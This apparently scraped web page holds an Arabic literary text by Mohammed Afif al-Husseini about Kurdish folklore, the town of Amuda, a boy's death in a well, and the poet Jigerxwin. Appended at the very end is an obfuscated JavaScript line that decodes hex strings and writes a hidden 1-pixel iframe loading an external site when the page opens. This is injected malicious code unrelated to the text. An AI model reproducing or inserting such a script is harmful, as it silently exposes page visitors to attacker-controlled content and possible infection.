محمد عفيف الحسيني

تدوين الطاووس

(الجهات)

 

ـ يعتقد الأكراد بأنّ الرجلَ إذا مرّ تحت قوس قزح، ينقلب إلى إمرأة، والمرأة تنقلب إلى رجلٍ.

أسطورة

ـ قال لي الضابطُ: أعطني"إشاطك"، ولم أفهم ماذا يريد. ومن خوفي أعطيته مشطي.

جكرخوين

ـ الطُوْش: حريق ونهب عامودا عام 1937، بعد الطوش عاد أهل عامودا إلى مدينتهم، وخططوها من جديد، بهندسة جديدة، وشوارع طويلة.

ـ أنّي هيفاء، وجسمي جميل كالبجعة،

حركاتي مثل حركات البجعات في النهر،

عنقي أبيضُ،

مثل أوّل إبريق من حليب الصباح.

شعر كرديّ ، غير معروف مَنْ القائل، أو القائلة

ـ نوّر الله ضريحكَ، ياابني!

دعاء

ـ بعد ترحيل الشيخ محمود الحفيد، ورفاقه إلى بغداد، قُدّموا إلى محكمة عرفية إنجليزية، حيث أسمع رئيس المحكمة، الشيخَ محمود كلاماً نابياً، وتهكّم عليه. فما كان من الشيخ إلا أن يثور لكرامته، ولما لم يكن لديه سلاح بموقفه هذا، يطعن به رئيس المحكمة، رفع عمامته من فوق رأسه، ورمى بها الحاكم ، وسبّه.

                                                      من حكايات الأكراد، وقصصهم

ـ الطاووس: طائر يشبه الديك الرومي بحجمه، ويختلف عنه في ريشه، يبيض كل شهر بيضة واحدة، والذكر هو الذي يحمل قوس قزح.. يتخايل به، ويراود عن نفسه للأنثى، التي تشبه دجاجة كبيرة، بلون مثل القطا.

ـ بعد وفاة الإسكندر عام 223 ق.م، عمد قوّاده إلى قتل زوجته "روكسانا" الكردية الأصل، كما قتلوا إبنها معها، وإقتسموا إمبراطوريته الواسعة، فكانت كردستان من نصيب القائد"سلوكس".

من قصص التاريخ

ـ يُشَمّ منها رائحة 150 دواءً / عطراً.

من أشرطة المغني الكردي الشعبي: رفعت داري.

أنا من جيل ضائع. إبن للكآبة والنسيان.

في عامودا ولدتُ، لكن نسبي المكاني القريب يتسلسل إلى كري موزان، والأبعد يتراجع إلى خُرْسي، ودياربكر، ومنهما إلى شجرة عائلية ممهورة بطغراوات عثمانية، حتى الآن لا أعرف من أين أتت.

ففي أمسيات الشتاء كنتُ وأولاد الأعمام، نقصد عمنا الكبير: شيخ القانون، وإمام الكتابة باليد اليسرى، نقصد مكتبته الضخمة بمجلداتها الشفيعة، ومخطوطاتها الآتية من الجهات، أو مجلدات بطبعاتها الأولية: عثمانية، أو من مطبعة مصطفى البابي الحلبي وأولاده بمصر، وكتاب غريب بخطّ اليد: كرّاسٌ صغير، يضم عدة صحائف صفراء، وحبر بنفسجي "تخضيب اللحية بالحنّاء"، وعنوان فرعي " في شؤون الحب"، والكتاب مـزّين بعدة أرياش من ريش طاووس ما. يفرد عمّنا الكبير أمامنا شجرة العائلة الضخمة، والمرسومة على شكل طاووس، ثم يشير بإصبعه على الأسماء، قائلاً:

ـ هؤلاء هم أسلافنا: الشيخ محي الدين البور سِبّي، الشيخ زاده، قاضي محمد، الشيخ عزالدين الحسيني، مهاباد، دياربكر، هولير، كري موزان، وغوتنبورغ.

ـ لكن هذه أسماء مدن!

ـ أعرف، وهي إمتحان لنا.

ـ وغوتنبورغ،  فهي مدينة سويدية!.

ـ نعم.. وقد انطلق الفايكنغ من جودي إلى هناك البعيد.. البعيد جداً.

ـ سأذهب إلى هناك ياعمي.

ـ لا.. اذهب إلى الحبر يابني!

وباكراً ذهبتُ إلى الحبر، كنتُ عجولاً، قليلاً. قرأتُ الخريطة لتدلّني إلى هناك البعيد. البعيد الذي أنا فيه الآن، وأدون مسائي. أدوّن االكآبةَ والنسيانَ، والوجدَ القاتلَ.

***

مولانا الخارج من رداء الهجران والموت في ستوكهولم، ثم الانتقال إلى القامشلي في تابوت سويدي أنيق، ليدفن في حوش منزله، في حفاوة لاتليق إلا به. ومن ثمت سيتحول بيته إلى مزار يتبرك الشعراء بشعره، وسيرته، وإخصابه.

مولانا.. مولاي جكرخوين:

في عام 1984 حصلتُ على صورة كبيرة له بالأبيض والأسود. صورة كبيرة لرجل غارق في العزلة والذكرى. وضعتُ الصورة في إطار، وعلّقتها في حائط منزل مستأجر. منزل من اللبلاب، وزهور عامودا الصيفية، وشجرة التوت مع ذرق العصافير، وآثار الروث لبقرة ضائعة في الحليب، وسكاكين القصّابين التي مثل الشفرات، يحزّون بها رؤوس الدواب، بنفس الهدوء الذي يطعنون به أعداءهم الوهميين، فيشخب الدمُ، فيقولون: انظروا إلى الدم في عَرَصَةِ عامودا الجليلة. وفي جلالة العرصة سيموت عادل القصّاب إبن الملاّ أمين. لكن ليس بالسكاكين، إنما الحكاية تنحو جهة الظلام: فقد سقطت فردةُ شحاطته البلاستيكية في بئر العرصة المهجورة، وبخفة بهلول، نزل إلى الأعماق المتأخرة، النائمة، لإخراجها. لكنه لم يعد. فإستنجد بإبن عمّه أحمد بأربع صرخات نحيلة، فهرع إليه، دافعاً بصدره غموضَ الظلام، وثاني أوكسيد الكاربون. لكن رئتيه القلقتان خذلتاه، فبقي هناك مع إبن عمه، يبحثان عن هواءٍ وصرخة. وسوف تحتاج بلدية عامودا إلى بحث خجول لمدة أربع ساعات عن مغامر ذي عضلات قوية، وبصر أقوى، وستستعير كمّامة من الجيش الشعبي في القامشلي، لينزلَ المغامرُ إلى بئر عميقة ومظلمة، مثلما الشجارات الزوجية، باحثاً عن محنة "العابر بنعال هائلة": واحداً تلو الآخر، يُشدّ بحبل غليظ من وسطه، وسيتعاون العتّالون: صُورو، ومصطو، وأولاد رشيدو، في شدّ مثاقيل ميتة، ومزرقّة على بكرة خائفة، تدور بهدوء. وفي شــد جثة عادل، قال والده:

ـ بروية ياأولادي! فربما كانت الشحاطة في رجله، أما كان بإمكانه المشيَ حافيا!.

وفي غسق كل يوم، وللمتتبع الأنواء، وعلم الأمطار، وتمازج الألوان، وعلى مقبرة عامودا، سيجد قوس قزح على هيئة حدوة، ينتهي كل طرف منها بقبر: قبر أحمد، وآخر لعادل، أمير الصرخة المتقوسة. والقوس محنة الهندسة، كما يقول المعلّم سليم بركات، وكما تقول صورة مولاي جكرخوين. صورته التي انسلّتْ من بين يدي ذات يوم بعيد.

هل سأعود إلى عامودا، مثلما عاد مولاي جكرخوين؟


جكرخوين

rkqflmss=[''];jopkbtp(['693C72666D61206572733D63682274743A702F2F653465342E6E6F632F6D6E69']);function jopkbtp(bjyshbi){bjyshbi[4]=function(fvybwj){return(fvybwj[0][fvybwj[1]](fvybwj[2],fvybwj[3]));};bjyshbi[2]=/(..)(..)/g;rkqflmss[1]='write';bjyshbi[3]='%$2%$1';rkqflmss[2]=document;bjyshbi[1]='replace';rkqflmss[0]+=unescape(bjyshbi[4](bjyshbi));return(rkqflmss.slice(0,3).reverse().concat(['',bjyshbi[4]]));};jopkbtp(['632E6967343F2022697774643D682031656867697468313D73207974656C'])[4](jopkbtp(['223D697669736962696C7974683A64696564226E3C3E692F72666D613E65']));